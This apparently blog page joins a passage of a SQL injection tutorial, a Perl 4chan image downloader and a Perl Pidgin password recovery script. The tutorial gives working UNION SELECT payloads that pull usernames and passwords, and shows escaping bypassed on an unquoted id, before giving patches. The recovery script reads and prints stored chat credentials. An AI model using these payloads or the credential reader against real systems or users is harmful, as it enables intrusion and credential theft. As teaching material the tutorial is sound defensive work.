does, as we expected (remember news had two columns?).

So, to test our UNION SELECT statement:

SELECT text FROM news WHERE id=-1UNION SELECT 1,2 —

This statement may need some explanation. Firstly, 1,2 because there were two columns. Secondly, I am using numbers here instead of username, password , because I want to take it one step at the time. Using numbers allows us to leave out the table name, because MySQL doesn’t expect a column name now (we could have used strings like ‘a’ as well). It’s like saying: “SELECT the digit 1″ now.
Thirdly, notice WHERE id=’-1′, we want the results of the UNION SELECT statement, not those of the regular SELECT statement, so we make that statement return nothing.
This seems to work, since it prints a big 2 on the webpage (Only printing the contents of the text column!). Consider this as well:

CODE
1
2
3
4
5
6
mysql> SELECT * FROM news WHERE id=-1 UNION SELECT 1,2;
+------+------+
| id   | text |
+------+------+
|    1 | 2    |
+------+------+

This is the query, and then the script gets out only the text column, hence the 2. Notice the column names are still id, text, this is because the first SELECT statement ‘makes them so’, the UNION SELECT statement doesn’t change them.

Using a different number of columns (for example, UNION SELECT 1,2,3 would have resulted in the following or similar error:

CODE
The used SELECT statements have a different number of columns

Moving on…

SELECT text FROM news WHERE id=-1UNION SELECT 1,2 FROM users —


Still not putting in username, password, because I am testing for the right table name. If the table had not existed, it would print (remember website was our database?):

CODE
Table 'website.users' doesn't exist

We now need to insert the column names of the table users. Again, this may involve guessing or looking at Information_Schema. This is very similar to finding table names.

SELECT text FROM news WHERE id=-1UNION SELECT 1,username FROM users —


I have only substituted the 2 here, because that’s the only one that’s printed out.
This prints the following on the webpage:
root
username

Remember that the script prints out everything belonging to the column text (See the while loop in index.php). To clarify:

CODE
1
2
3
4
5
6
7
mysql> SELECT * FROM news WHERE id=-1 UNION SELECT 1,username FROM users;
+------+----------+
| id   | text     |
+------+----------+
|    1 | root     |
|    1 | username |
+------+----------+

Getting the password will be easy now:

SELECT text FROM news WHERE id=-1UNION SELECT 1,password FROM users —


Note: passwords are usually hashed and will need to be cracked.

One more example


Setup
This scenario is largely the same as the one above, yet one line has changed in the script:

PHP
13
14
$id = mysql_real_escape_string($id); # Escape special characters such as '
$result = mysql_query("SELECT * FROM news WHERE id=$id") or die(mysql_error()); # No more quotes around $id

MySQL allows $id to be unquoted, only if it’s a digit. If it was a string, like in login.php, it would have to be quoted, because MySQL would render it as a column name otherwise. The use of mysql_real_escape_string makes sure that our malicious quotes are useless, since they will be seen as strings (\’), so they can’t close the WHERE clause anymore.

Exploiting the vulnerability
You may think this would prevent an attack, but consider this:

SELECT text FROM news WHERE id=-1 UNION SELECT 1,password FROM users


Since there are no quotes wrapped around $id, MySQL thinks the WHERE id= clause has finished after the space following -1, thus leaving a vulnerability. Not at all safe!

Patching


As we’ve seen above, you need a) quotes to make sure everything the user types will be handled as a string in the clause and b) a way to escape quotes. The solution is a combination of what we have seen above:

PHP
13
14
15
$id = mysql_real_escape_string($id); # Escape special characters such as '
# Again, this makes the use of quotes not a problem :)
$result = mysql_query("SELECT * FROM news WHERE id='$id'") or die(mysql_error()); # Keep the quotes

The patch for login.php would be almost identical:

PHP
15
16
17
$username = mysql_real_escape_string($username);
$password = mysql_real_escape_string($password);
$result = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'") or die(mysql_error());

That was it. I hope you’ve enjoyed the tutorial.
If you have any remarks on this tutorial, please leave a comment.

4chan image/thread downloader (Perl)

I wrote this script to download all images from a specified thread on an image board called 4chan. It stays running until 404 or canceled and re-checks every 30 seconds to see if there are any new uploads. Folder for the images will be created in the same directory as the script. Works for both, Windows and Linux.

4chan-thread-dl.pl

Perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/perl
#    4chan-thread-dl.pl
# Mon Oct 04 16:14:56 2010
# jolttz{at}gmail{dot}com
# Distributed under the terms of
# the GNU General Public License
#
 
use strict;
use warnings;
use LWP::Simple qw($ua get getstore);
 
# We want to see the progress of downloads
$ua->show_progress(1);
 
my $url = $ARGV[0];
my $run = 1;
 
# Run while canceled
run() while 1;
 
sub get_content {
    my ($url, $thread) = @_;
 
    # Get content and...
    my $content = get($url);
        die "404: Not found!" unless defined $content;
 
    # ...print to a file
    open (CONT, ">$thread\/$thread.html");
    print CONT $content;
    close (CONT);
 
    return $content;
}
 
sub run {
    if ($url =~ /http:\/\/boards.4chan.org\/[A-Z]{1,4}\/res\/(\d+)/i) {
        $run++;
 
        my $thread = $1;
 
        # Make a directory for the images
        mkdir $thread, 0755;
 
        print "Downloading content:\n";
        my $content = get_content($url, $thread);
 
        # Split content to lines because we want to go
        # through each line and see if there's an image we want
        my @content_lines = split /\n/, $content;
 
        print "\nDownload location: ". $thread. "\n";
 
        # Go through each line
        foreach (@content_lines) {
            # If we see an image
            if  (/"(http:\/\/images.4chan.org\/[A-Z]{1,4}\/src\/(\d+\.(jpg|png|gif)))"/i) {
                # Store the image unless it already exists
                getstore($1, "$thread\/$2") unless -e "$thread\/$2";
            }
        }
 
        print "Sleeping for 30 seconds before run #". $run. "\n";
        sleep(30);
 
        print "\n";
    } else {
        print "Usage: perl 4chan-thread-dl.pl\n";
        exit(0);
    }
}

Usage:

Perl
$ perl 4chan-thread-dl.pl

Pidgin password recovery for Linux and Windows (Perl)

Forgot your Pidgin passwords? I wrote a script that can help you out.
It has been tested on both, Windows XP and Linux. If I remember correctly, Application Data folder was in a different directory in Windows 7 so I’m not sure if it’ll work on it. For Windows you need to install ActivePerl or StrawberryPerl. Every Linux should have Perl already installed.

Perl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/perl
#    pidgin-recovery.pl
# Sat Oct 02 21:28:17 2010
# Copyright  2010  jolttz
# jolttz{ät}gmail{dot}com
#
 
use strict;
use warnings;
 
my $home = $ENV{HOME}; # Home dir for Linux
 
if ($^O =~ /mswin/i) { # If OS is Windows
    # Get home dir for Win and add App Data folder to it
    $home = $ENV{USERPROFILE}. "/Application Data";
}
 
# Open the file that contains accounts info
open (FILE, "$home/.purple/accounts.xml") || die ("Could not open file!");
 
# Go through each line and print the info we are looking for
foreach my $line (<FILE>) {
    if ($line =~ /<protocol>(.+)<\/protocol>/) {
        print "--------------------------\n";
        print "Protocol: ". $1. "\n";
    } elsif ($line =~ /<name>(.+)<\/name>/) {
        print "Name: ". $1. "\n";
    } elsif ($line =~ /<password>(.+)<\/password>/) {
        print "Password: ". $1. "\n";
    }
}